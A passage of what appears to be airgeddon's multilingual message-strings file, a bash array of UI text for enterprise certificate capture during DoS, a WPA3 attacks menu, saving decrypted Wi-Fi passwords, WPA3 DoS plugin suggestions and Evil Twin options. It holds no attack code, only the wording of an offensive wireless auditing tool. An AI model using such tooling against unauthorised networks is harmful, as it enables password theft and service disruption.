de captura. Es tancaran automàticament després del temps d'espera que vau establir" arr["PORTUGUESE",750]="O processo de análise de certificados entreprise está prestes a começar. Não feche a janela do DoS nem a janela de captura. Elas serão fechadas automaticamente após o timeout configurado" arr["RUSSIAN",750]="Процесс анализа enterprise сертификатов вот-вот начнется. Не закрывайте окна DoS и захвата. Они закроются автоматически после истечения заданного вами тайм-аута" arr["GREEK",750]="Η διαδικασία ανάλυσης πιστοποιητικών enterprise πρόκειται να ξεκινήσει. Μην κλείσετε το παράθυρο DoS ούτε το παράθυρο λήψης. Θα κλείσουν αυτόματα μετά το χρονικό όριο που ορίσατε" arr["ITALIAN",750]="Il processo di analisi del certificato enterprise sta per iniziare. Non chiudere la finestra del DoS né la finestra di acquisizione. Si chiuderanno automaticamente dopo il timeout che hai stabilito" arr["POLISH",750]="Proces analizy certyfikatu enterprise wkrótce się rozpocznie. Nie zamykaj ani okna DoS, ani okna przechwytywania. Zamkną się one automatycznie po ustaleniu limitu czasu" arr["GERMAN",750]="Der Analyseprozess der Enterprise-Identitäten beginnt in Kürze. Schließen Sie weder das DoS-Fenster oder das Erfassungsfenster. Sie schließen sich automatisch nach dem von Ihnen festgelegten Timeout" arr["TURKISH",750]="Entreprise sertifika analiz süreci başlamak üzere. DoS veya yakalama penceresini kapatmayın. Belirlediğiniz süre bittikten sonra pencereler otomatik olarak kapanacaktır" arr["ARABIC",750]="أو نافذة الالتقاط. سوف يغلقون تلقائيًا بعد المهلة المحدده DoS عملية تحليل شهادة المؤسسة على وشك البدء. لا تغلق نافذة ال" arr["CHINESE",750]="企业级证书分析过程即将开始。请勿关闭任何正在运行中的窗口。等待超时后,窗口将自动关闭" arr["ENGLISH",751]="Searching for enterprise certificates in the capture file. Please be patient..." arr["SPANISH",751]="Buscando certificados enterprise en el fichero de captura. Por favor, ten paciencia..." arr["FRENCH",751]="À la recherche des certificats d'entreprise dans le fichier de capture. Veuillez avoir de la patience..." arr["CATALAN",751]="Buscant certificats enterprise al fitxer de captura. Si us plau, tingueu paciència..." arr["PORTUGUESE",751]="Procurando certificados enterprise no arquivo de captura. Por favor, tenha paciência..." arr["RUSSIAN",751]="Поиск enterprise сертификатов в файле захвата. Пожалуйста, подождите..." arr["GREEK",751]="Αναζήτηση για πιστοποιητικά enterprise στο αρχείο σύλληψης. Παρακαλώ έχετε υπομονή..." arr["ITALIAN",751]="Cercando certificati enterprise nel file di acquisizione. Per favore, abbi pazienza..." arr["POLISH",751]="Szukam certyfikatów enterprise w pliku przechwytywania. Cierpliwości..." arr["GERMAN",751]="Auf der Suche nach Enterprise-Zertifikaten in der Erfassungsdatei. Bitte haben Sie Geduld..." arr["TURKISH",751]="Yakalama dosyasında enterprise sertifikaları aranıyor. Lütfen sabırlı olun..." arr["ARABIC",751]="...برجاء الانتظار, جاري البحث عن شهادات المؤسسة في ملف الالتقاط" arr["CHINESE",751]="正在在捕获的文件中查找企业级证书。请耐心等待..." arr["ENGLISH",752]="No enterprise certificates have been found. Either there are no clients connected, or you need to increase the timeout to be able to capture them" arr["SPANISH",752]="No se ha encontrado ningún certificado enterprise. O bien no hay clientes conectados, o bien has de aumentar el timeout para poder capturarlos" arr["FRENCH",752]="Aucun certificat d'entreprise a été trouvé. Ou il n'y a pas de clients connectés, ou vous devez augmenter le délai d'expiration pour les capturer" arr["CATALAN",752]="No s'ha trobat cap certificat entreprise. O no hi ha clients connectats, o heu d'augmentar el temps d'espera per capturarlos" arr["PORTUGUESE",752]="Nenhum certificado entreprise foi encontrado. Não há clientes conectados ou você precisa aumentar o tempo limite para capturá-los" arr["RUSSIAN",752]="Enterprise сертификаты не найдены. Либо нет подключенных клиентов, либо вам нужно увеличить значение тайм-аут, чтобы захватить их" arr["GREEK",752]="Δεν έχει βρεθεί πιστοποιητικό entreprise. Ή δεν υπάρχουν συνδεδεμένοι πελάτες ή πρέπει να αυξήσετε το χρονικό όριο για να τα καταγράψετε" arr["ITALIAN",752]="Non è stato trovato alcun certificato entreprise. Non ci sono clienti connessi o devi aumentare il timeout per catturarli" arr["POLISH",752]="Nie znaleziono certyfikatu entreprise. Albo nie ma połączonych klientów albo musisz zwiększyć limit czasu, aby ich przechwycić" arr["GERMAN",752]="Es wurden keine Enterprise-Zertifikate gefunden. Entweder sind keine Clients verbunden, oder Sie müssen den Timeout erhöhen, um sie erfassen zu können" arr["TURKISH",752]="Hiçbir entreprise sertifikası bulunamadı. Bağlı istemci yok ya da bunları yakalamak için zaman aşımını artırmanız gerekiyor" arr["ARABIC",752]="لم يتم العثور على شهادة المؤسسة. قد لا يكون هناك عملاء متصلون، أو قد تحتاج إلى زيادة المهلة لالتقاطهم" arr["CHINESE",752]="尚未找到企业级证书。或者没有连接的客户端,或者您必须增加等待时间以尝试捕获它们" arr["ENGLISH",753]="Enterprise certificates have been found. The data will be displayed. Make a note of them before pressing the [Enter] key" arr["SPANISH",753]="Se han encontrado certificados enterprise. Se mostrarán los datos. Anótalos antes de pulsar la tecla [Enter]" arr["FRENCH",753]="Des certificats d'entreprise ont été trouvés. Les données seront affichées. Notez-les avant d'appuyer sur la touche [Enter]" arr["CATALAN",753]="S'han trobat certificats entreprise. Les dades es mostraran. Anota-les abans de prémer la tecla [Enter]" arr["PORTUGUESE",753]="Certificados entreprise foram encontrados. Os dados serão exibidos. Anote-os antes de pressionar a tecla [Enter]" arr["RUSSIAN",753]="Найдены enterprise сертификаты. Данные будут выведены на экран. Обязательно запишите их перед нажатием [Enter]" arr["GREEK",753]="Έχουν βρεθεί πιστοποιητικά επιχειρήσεων. Θα εμφανιστούν τα δεδομένα. Σημειώστε τα πριν πατήσετε το πλήκτρο [Enter]" arr["ITALIAN",753]="Sono stati trovati certificati enterprise. I dati verranno visualizzati. Annotali prima di premere il tasto [Enter]" arr["POLISH",753]="Znaleziono certyfikaty korporacyjne. Dane zostaną wyświetlone. Zanotuj je przed naciśnięciem klawisza [Enter]" arr["GERMAN",753]="Enterprise-Zertifikate wurden gefunden. Die Daten werden angezeigt. Notieren Sie sie, bevor Sie die [Enter]-Taste drücken" arr["TURKISH",753]="Enterprise sertifikalar bulunmuştur. Veriler görüntülenecektir. [Enter] tuşuna basmadan önce not alın" arr["ARABIC",753]="[Enter] تم العثور على شهادات المؤسسة. سيتم عرض البيانات. احتفظ بها قبل الضغط على مفتاح ال" arr["CHINESE",753]="已经找到了企业级证书。数据将会显示。在按 [Enter] 键继续下一步之前保存它们" arr["ENGLISH",754]="11. WPA3 attacks menu" arr["SPANISH",754]="11. Menú de ataques WPA3" arr["FRENCH",754]="11. Menu d'attaque WPA3" arr["CATALAN",754]="11. Menú d'atacs WPA3" arr["PORTUGUESE",754]="11. Menu de ataques WPA3" arr["RUSSIAN",754]="11. Меню атак на WPA3" arr["GREEK",754]="11. Μενού επιθέσεων WPA3" arr["ITALIAN",754]="11. Menu degli attacchi WPA3" arr["POLISH",754]="11. Menu ataków WPA3" arr["GERMAN",754]="11. WPA3-Angriffsmenü" arr["TURKISH",754]="11. WPA3 saldırılar menüsü" arr["ARABIC",754]="11. WPA3 قائمة هجمات" arr["CHINESE",754]="11. WPA3 攻击菜单" arr["ENGLISH",755]="WPA3 attacks menu" arr["SPANISH",755]="Menú de ataques WPA3" arr["FRENCH",755]="Menu d'attaque WPA3" arr["CATALAN",755]="Menú d'atacs WPA3" arr["PORTUGUESE",755]="Menu de ataques WPA3" arr["RUSSIAN",755]="Меню атак на WPA3" arr["GREEK",755]="Μενού επιθέσεων WPA3" arr["ITALIAN",755]="Menu degli attacchi WPA3" arr["POLISH",755]="Menu ataków WPA3" arr["GERMAN",755]="WPA3-Angriffsmenü" arr["TURKISH",755]="WPA3 saldırılar menüsü" arr["ARABIC",755]="WPA3 قائمة هجمات" arr["CHINESE",755]="WPA3 攻击菜单" arr["ENGLISH",756]="6. WPA3 attack (use a plugin here)" arr["SPANISH",756]="6. Ataque WPA3 (usa un plugin aquí)" arr["FRENCH",756]="6. Attaque WPA3 (Un plugin est utilisé ici)" arr["CATALAN",756]="6. Atac WPA3 (utilitzeu un plugin aquí)" arr["PORTUGUESE",756]="6. Ataque WPA3 (use um plugin aqui)" arr["RUSSIAN",756]="6. WPA3 атака (используйте плагин здесь)" arr["GREEK",756]="6. Επίθεση WPA3 (χρησιμοποιήστε ένα plugin εδώ)" arr["ITALIAN",756]="6. Attacco WPA3 (usa un plugin qui)" arr["POLISH",756]="6. Atak WPA3 (przy użyciu pluginu)" arr["GERMAN",756]="6. WPA3-Angriff (Verwenden Sie hier ein Plugin)" arr["TURKISH",756]="6. WPA3 saldırısı (buradan eklenti kullanın)" arr["ARABIC",756]="6. (استخدم البرنامج المساعد هنا) WPA3 هجوم" arr["CHINESE",756]="6. WPA3攻击(在此处使用插件)" arr["ENGLISH",757]="7. WPA3 attack (use a plugin here)" arr["SPANISH",757]="7. Ataque WPA3 (usa un plugin aquí)" arr["FRENCH",757]="7. Attaque WPA3 (Un plugin est utilisé ici)" arr["CATALAN",757]="7. Atac WPA3 (utilitzeu un plugin aquí)" arr["PORTUGUESE",757]="7. Ataque WPA3 (use um plugin aqui)" arr["RUSSIAN",757]="7. WPA3 атака (используйте плагин здесь)" arr["GREEK",757]="7. Επίθεση WPA3 (χρησιμοποιήστε ένα plugin εδώ)" arr["ITALIAN",757]="7. Attacco WPA3 (usa un plugin qui)" arr["POLISH",757]="7. Atak WPA3 (przy użyciu pluginu)" arr["GERMAN",757]="7. WPA3-Angriff (Verwenden Sie hier ein Plugin)" arr["TURKISH",757]="7. WPA3 saldırısı (buradan eklenti kullanın)" arr["ARABIC",757]="7. (استخدم البرنامج المساعد هنا) WPA3 هجوم" arr["CHINESE",757]="7. WPA3攻击(在此处使用插件)" arr["ENGLISH",758]="WPA3 filter enabled in scan. When started, press [Ctrl+C] to stop..." arr["SPANISH",758]="Filtro WPA3 activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",758]="Le filtre WPA3 est activé dans le scan. Une fois l'opération a été lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",758]="Filtre WPA3 activat en escaneig. Un cop començat, premeu [Ctrl+C] per aturar-lo..." arr["PORTUGUESE",758]="Filtro WPA3 ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",758]="Для сканирования активирован фильтр WPA3. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",758]="Το φίλτρο WPA3 ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." arr["ITALIAN",758]="Filtro WPA3 attivato durante la scansione. Una volta avviato, premere [Ctrl+C] per fermarlo..." arr["POLISH",758]="Filtr WPA3 aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["GERMAN",758]="WPA3-Filter beim Scannen aktiviert. Nach den Start, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",758]="WPA3 filtesi taramada etkin. Başladıktan sonra, durdurmak için [Ctrl+C] yapınız..." arr["ARABIC",758]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .WPA3 تم تفعيل المسح لشبكات" arr["CHINESE",758]="已在扫描时启用 WPA3 过滤器。启动中... 按 [Ctrl+C] 停止..." arr["ENGLISH",759]="The selected network is invalid. The target network must be WPA3 or WPA2/WPA3 Transitional (Mixed mode)" arr["SPANISH",759]="La red seleccionada no es válida. La red objetivo debe ser WPA3 o WPA2/WPA3 Transitional (Mixed mode)" arr["FRENCH",759]="Le réseau sélectionné est invalide. Le réseau cible doit être WPA3 ou WPA2/WPA3 Transitional (Mixed mode)" arr["CATALAN",759]="La xarxa seleccionada no és vàlida. La xarxa objectiu ha de ser WPA3 o WPA2/WPA3 Transitional (Mixed mode)" arr["PORTUGUESE",759]="A rede selecionada é inválida. A rede alvo deve ser WPA3 ou WPA2/WPA3 Transitional (Mixed mode)" arr["RUSSIAN",759]="Выбранная сеть непригодна для проведения атаки. Целевая сеть должна быть WPA3 или WPA2/WPA3 Transitional (Mixed mode)" arr["GREEK",759]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Το δίκτυο στόχος πρέπει να είναι WPA3 ή WPA2/WPA3 Transitional (Mixed mode)" arr["ITALIAN",759]="La rete selezionata non è valida. La rete obiettivo deve essere WPA3 o WPA2/WPA3 Transitional (Mixed mode)" arr["POLISH",759]="Wybrana sieć jest nieprawidłowa. Sieć docelowa musi być WPA3 lub WPA2/WPA3 Transitional (Mixed mode)" arr["GERMAN",759]="Das ausgewählte Netzwerk ist ungültig. Das Zielnetzwerk muss WPA3 oder WPA2/WPA3 Transitional (Mixed mode) sein" arr["TURKISH",759]="Seçilen ağ geçersiz. Hedef ağ WPA3 veya WPA2/WPA3 Transitional (Mixed mode) olmalıdır" arr["ARABIC",759]="WPA3 أو WPA2/WPA3 Transitional (Mixed mode) الشبكة غير صالحة. يجب أن تكون الشبكة المستهدفة" arr["CHINESE",759]="所选网络无效。目标网络必须是 WPA3 或 WPA2/WPA3 混合模式 (Mixed mode)" arr["ENGLISH",760]="airgeddon. Decrypted password during WPA3 attack" arr["SPANISH",760]="airgeddon. Contraseña descifrada en ataque WPA3" arr["FRENCH",760]="airgeddon. Mot de passe déchiffré à l'aide de l'attaque WPA3" arr["CATALAN",760]="airgeddon. Contrasenya desxifrada amb l'atac WPA3" arr["PORTUGUESE",760]="airgeddon. Senha decifrada no ataque WPA3" arr["RUSSIAN",760]="airgeddon. Пароль расшифрован во время WPA3 атаки" arr["GREEK",760]="airgeddon. Ο κωδικός αποκρυπτογραφήθηκε κατά την επίθεση WPA3" arr["ITALIAN",760]="airgeddon. Password decifrata con l'attacco WPA3" arr["POLISH",760]="airgeddon. Hasło odszyfrowane w ataku WPA3" arr["GERMAN",760]="airgeddon. Passwort während WPA3-Angriff entschlüsselt" arr["TURKISH",760]="airgeddon. WPA3 saldırısı sırasında çözülen şifre" arr["ARABIC",760]="WPA3 فك تشفير كلمة السر أثناء هجوم .airgeddon" arr["CHINESE",760]="airgeddon WPA3 攻击期间解密的密码" arr["ENGLISH",761]="WPA3 key decrypted successfully. The password was saved on file [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["SPANISH",761]="Clave WPA3 descifrada con éxito. La contraseña se ha guardado en el fichero [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["FRENCH",761]="Clé WPA3 déchiffré. Le mot de passe est enregistré dans le fichier [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["CATALAN",761]="Clau WPA3 desxifrada amb èxit. La contrasenya s'ha guardat en el fitxer [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["PORTUGUESE",761]="A senha da rede WPA3 foi descriptografada com sucesso. A senha foi salva no arquivo [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["RUSSIAN",761]="WPA3 ключ успешно расшифрован. Пароль был сохранён в файле [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["GREEK",761]="Το κλειδί WPA3 αποκρυπτογραφήθηκε με επιτυχία. Ο κωδικός πρόσβασης αποθηκεύτηκε στο αρχείο [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["ITALIAN",761]="Chiave WPA3 decifrata con successo. La password è stata salvata nel file [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["POLISH",761]="Klucz WPA3 odszyfrowywany prawidłowo. Hasło zostało zapisane do pliku [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["GERMAN",761]="WPA3-Schlüssel erfolgreich entschlüsselt. Das Passwort wurde in der Datei gespeichert [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["TURKISH",761]="WPA3 anahtarı başarıyla çözüldü. Şifre dosyaya kaydedildi [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["ARABIC",761]="[\${normal_color}\${wpa3potenteredpath}\${blue_color}] بنجاحز. تم حفظ كلمة المرور في الملف WPA3 تم فك تشفير مفتاح" arr["CHINESE",761]="WPA3 密钥解密成功。密码已保存至文件 [\${normal_color}\${wpa3potenteredpath}\${blue_color}]" arr["ENGLISH",762]="If the password for the wifi network is obtained with the WPA3 attack, you should decide where to save it. \${green_color}Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${wpa3_potpath}]" arr["SPANISH",762]="Si se consigue la contraseña de la red wifi con el ataque WPA3, hay que decidir donde guardarla. \${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${wpa3_potpath}]" arr["FRENCH",762]="Si le mot de passe est obtenu par une attaque WPA3, il faut ensuite indiquer l'endroit pour la garder. \${green_color}Entrez la route vers l'endroit où vous voulez garder le fichier ou bien appuyez sur [Enter] si la route proposée par défaut vous convient \${normal_color}[\${wpa3_potpath}]" arr["CATALAN",762]="Si s'aconsegueix la contrasenya de la xarxa wifi amb l'atac WPA3, cal decidir on guardar-la. \${green_color}Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${wpa3_potpath}]" arr["PORTUGUESE",762]="Se a senha da rede wifi for obtida com o ataque WPA3, onde deseja salvá-la?. \${green_color}Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${wpa3_potpath}]" arr["RUSSIAN",762]="Если во время WPA3 атаки на Wi-Fi сеть получен пароль, вы должны решить, где его сохранить. \${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию \${normal_color}[\${wpa3_potpath}]" arr["GREEK",762]="Εάν βρεθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την επίθεση WPA3, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. \${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${wpa3_potpath}]" arr["ITALIAN",762]="Se si ottiene la password della rete wireless con l'attacco WPA3, decidere dove salvarla. \${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${wpa3_potpath}]" arr["POLISH",762]="Jeśli hasło sieci wifi zostanie zdobyte atakiem WPA3, musisz zdecydować, gdzie je zapisać. \${green_color}Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${wpa3_potpath}]" arr["GERMAN",762]="Wenn Sie das WLAN-Passwort mit dem WPA3-Angriff erhalten, müssen Sie entscheiden, wo Sie es speichern möchten. \${green_color} Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${wpa3_potpath}] \${blue_color}zu akzeptieren" arr["TURKISH",762]="Kablosuz ağın şifresi WPA3 saldırısıyla elde edilirse, nereye kaydedeceğinize karar vermelisiniz. \${green_color}Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${wpa3_potpath}]" arr["ARABIC",762]="\${normal_color}[\${wpa3_potpath}]\${green_color} لقبول الاقتراح [Enter] فيجب أن تقرر مكان حفظها \${blue_color}.اكتب المسار لتخزين الملف أو اضغط على ،WPA3 بهجوم wifi إذا تم الحصول على كلمة المرور لشبكة\${normal_color}" arr["CHINESE",762]="如果 wifi 网络的密码是通过 WPA3 攻击获得的,您应该决定将其保存在何处。 \${green_color}键入存储文件的路径或按 [Enter] 接受默认建议 \${normal_color}[\${wpa3_potpath}]" arr["ENGLISH",763]="An old version of aircrack has been detected. To handle WPA3 networks correctly, at least version \${aircrack_wpa3_version} is required. Otherwise, the attack cannot be performed. Please upgrade your aircrack package to a later version" arr["SPANISH",763]="Se ha detectado una versión antigua de aircrack. Para manejar redes WPA3 correctamente se requiere como mínimo la versión \${aircrack_wpa3_version}. De lo contrario el ataque no se puede realizar. Actualiza tu paquete de aircrack a una versión posterior" arr["FRENCH",763]="Une version ancienne d'aircrack a été détectée. Pour gérer correctement les réseaux WPA3, la version \${aircrack_wpa3_version} est requise au moins. Dans le cas contraire, l'attaque ne pourra pas être faire. Mettez à jour votre package d'aircrack à une version ultérieure" arr["CATALAN",763]="S'ha detectat una versió antiga d'aircrack. Per manejar xarxes WPA3 es requereix com a mínim la versió \${aircrack_wpa3_version} Si no, l'atac no es pot fer. Actualitza el teu paquet d'aircrack a una versió posterior" arr["PORTUGUESE",763]="Uma versão antiga do aircrack foi detectada. Para lidar corretamente com redes WPA3, é necessário pelo menos a versão \${aircrack_wpa3_version}. Caso contrário o ataque não poderá ser realizado. Atualize seu pacote aircrack para uma versão posterior" arr["RUSSIAN",763]="Обнаружена старая версия aircrack. Для корректной работы с WPA3 сетями требуется как минимум версия \${aircrack_wpa3_version}. В противном случае атака не может быть осуществлена. Обновите пакет aircrack до более новой версии" arr["GREEK",763]="Εντοπίστηκε μια παλιά έκδοση του aircrack. Για να χειριστείτε σωστά τα δίκτυα WPA3, απαιτείται τουλάχιστον η έκδοση \${aircrack_wpa3_version}. Διαφορετικά η επίθεση δεν μπορεί να πραγματοποιηθεί. Ενημερώστε το πακέτο aircrack σε νεότερη έκδοση" arr["ITALIAN",763]="È stata rilevata una versione vecchia di aircrack. Per gestire correttamente le reti WPA3 è richiesta almeno la versione \${aircrack_wpa3_version}, altrimenti l'attacco non può essere eseguito. Aggiorna il tuo pacchetto aircrack ad una versione successiva" arr["POLISH",763]="Wykryto starą wersję narzędzia aircrack. Aby poprawnie obsługiwać sieci WPA3, wymagana jest co najmniej wersja \${aircrack_wpa3_version}. Inaczej atak nie będzie możliwy. Zaktualizuj pakiet aircrack do nowszej wersji" arr["GERMAN",763]="Es wurde eine alte Version von Aircrack entdeckt. Für den korrekten Umgang mit WPA3-Netzwerken ist mindestens die Version \${aircrack_wpa3_version} erforderlich. Andernfalls kann der Angriff nicht durchgeführt werden. Aktualisieren Sie Ihr Aircrack-Paket auf eine neuere Version" arr["TURKISH",763]="aircrack'in eski bir sürümü tespit edildi. WPA3 ağlarını doğru şekilde yönetmek için en az \${aircrack_wpa3_version} sürümü gereklidir. Aksi takdirde saldırı gerçekleştirilemez. Aircrack paketinizi daha sonraki bir sürüme güncelleyin" arr["ARABIC",763]="إلى إصدار أحدث aircrack بشكل صحيح. قم بتحديث WPA3 على الأقل, للتعامل مع شبكات ال \${aircrack_wpa3_version} يلزم توفر الإصدار .aircrack تم اكتشاف نسخة قديمة من" arr["CHINESE",763]="当前aircrack的版本已过时。如果您需要处理 WPA3 加密类型的网络,至少需要版本 \${aircrack_wpa3_version}。否则将无法进行攻击。请尝试将您的aircrack包更新到最高版本" arr["ENGLISH",764]="Options can be added to this menu as plugins. Here are some recommendations: WPA3 online dictionary attack (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), WPA3 Dragon Drain DoS attack (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), WPA3 Cookie Guzzler DoS attack (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["SPANISH",764]="A este menú se le pueden añadir opciones en forma de plugin. Ahí van unas recomendaciones: Ataque de diccionario online de WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Ataque DoS Dragon Drain WPA3 (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Ataque DoS Cookie Guzzler WPA3 (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["FRENCH",764]="Ce menu peut être étendu avec des options sous forme de plugins. Voici quelques recommandations: Attaque de dictionnaire en ligne WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Attaque DoS WPA3 Dragon Drain (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Attaque DoS WPA3 Cookie Guzzler (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["CATALAN",764]="A aquest menú s’hi poden afegir opcions en forma de plugins. Aquí tens algunes recomanacions: Atac de diccionari online de WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Atac DoS Dragon Drain WPA3 (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Atac DoS Cookie Guzzler WPA3 (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["PORTUGUESE",764]="Opções podem ser adicionadas a este menu como plugins. Aqui estão algumas recomendações: Ataque de dicionário online WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Ataque DoS WPA3 Dragon Drain (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Ataque DoS WPA3 Cookie Guzzler (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["RUSSIAN",764]="В это меню можно добавить дополнительные опции в виде плагинов. Вот несколько рекомендаций: WPA3 онлайн-атака по словарю (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), атака Dragon Drain на WPA3 (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), WPA3 Cookie Guzzler DoS (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["GREEK",764]="Σε αυτό το μενού μπορούν να προστεθούν επιλογές σε μορφή plugin. Μερικές προτάσεις: Επίθεση online λεξικού WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Επίθεση DoS WPA3 Dragon Drain (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Επίθεση DoS WPA3 Cookie Guzzler (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["ITALIAN",764]="A questo menu puoi aggiungere opzioni sotto forma di plugin. Ecco alcune raccomandazioni: Attacco dizionario online WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Attacco DoS WPA3 Dragon Drain (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Attacco DoS WPA3 Cookie Guzzler (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["POLISH",764]="Do tego menu można dodać opcje w formie pluginów. Oto kilka rekomendacji: Atak słownikowy online WPA3 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), Atak DoS WPA3 Dragon Drain (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), Atak DoS WPA3 Cookie Guzzler (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["GERMAN",764]="Dieses Menü kann mit Plugin-Optionen erweitert werden. Hier einige Empfehlungen: WPA3 Online-Wörterbuchangriff (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), WPA3 Dragon Drain DoS-Angriff (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), WPA3 Cookie Guzzler DoS-Angriff (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["TURKISH",764]="Bu menüye eklenti şeklinde seçenekler eklenebilir. İşte bazı öneriler: WPA3 çevrimiçi sözlük saldırısı (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}), WPA3 Dragon Drain DoS saldırısı (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}), WPA3 Cookie Guzzler DoS saldırısı (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["ARABIC",764]="(\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color}) WPA3 Cookie Guzzler DoS هجوم ,(\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color}) WPA3 Dragon Drain DoS هجوم ,(\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color}) WPA3 online dictionary attack :إليك بعض التوصيات .pluginsيمكن إضافة الخيارات إلى هذه القائمة كـ" arr["CHINESE",764]="此菜单可通过插件方式添加更多选项。推荐:WPA3 在线字典攻击 (\${normal_color}\${wpa3_online_attack_plugin_repo}\${pink_color})、WPA3 Dragon Drain DoS 攻击 (\${normal_color}\${wpa3_dragon_drain_plugin_repo}\${pink_color})、WPA3 Cookie Guzzler DoS 攻击 (\${normal_color}\${wpa3_cookie_guzzler_plugin_repo}\${pink_color})" arr["ENGLISH",765]="14. Disable Evil Twin ESSID stripping permanently" arr["SPANISH",765]="14. Deshabilitar Evil Twin ESSID stripping permanentemente" arr["FRENCH",765]="14. Désactiver Evil Twin ESSID stripping en permanence" arr["CATALAN",765]="14. Deshabilitar Evil Twin ESSID stripping permanentment" arr["PORTUGUESE",765]="14. Desativar permanentemente Evil Twin ESSID stripping" arr["RUSSIAN",765]="14. Выключить Evil Twin ESSID stripping" arr["GREEK",765]="14. Απενεργοποιήστε μόνιμα το Evil Twin ESSID stripping" arr["ITALIAN",765]="14. Disattivare Evil Twin ESSID stripping in modo permanente" arr["POLISH",765]="14. Wyłącz Evil Twin ESSID stripping na stałe" arr["GERMAN",765]="14. Evil Twin ESSID stripping dauerhaft deaktivieren" arr["TURKISH",765]="14. Evil Twin ESSID stripping kalıcı olarak devre dışı bırak" arr["ARABIC",765]="14. بشكل دائم Evil Twin ESSID stripping تعطيل" arr["CHINESE",765]="14. 禁用邪恶双胞胎的ESSID剥离" arr["ENGLISH",766]="14. Enable Evil Twin ESSID stripping permanently" arr["SPANISH",766]="14. Habilitar Evil Twin ESSID stripping permanentemente" arr["FRENCH",766]="14. Activer Evil Twin ESSID stripping en permanence" arr["CATALAN",766]="14. Habilitar Evil Twin ESSID stripping" arr["PORTUGUESE",766]="14. Ativar permanentemente Evil Twin ESSID stripping" arr["RUSSIAN",766]="14. Включить Evil Twin ESSID stripping" arr["GREEK",766]="14. Ενεργοποιήστε μόνιμα το Evil Twin 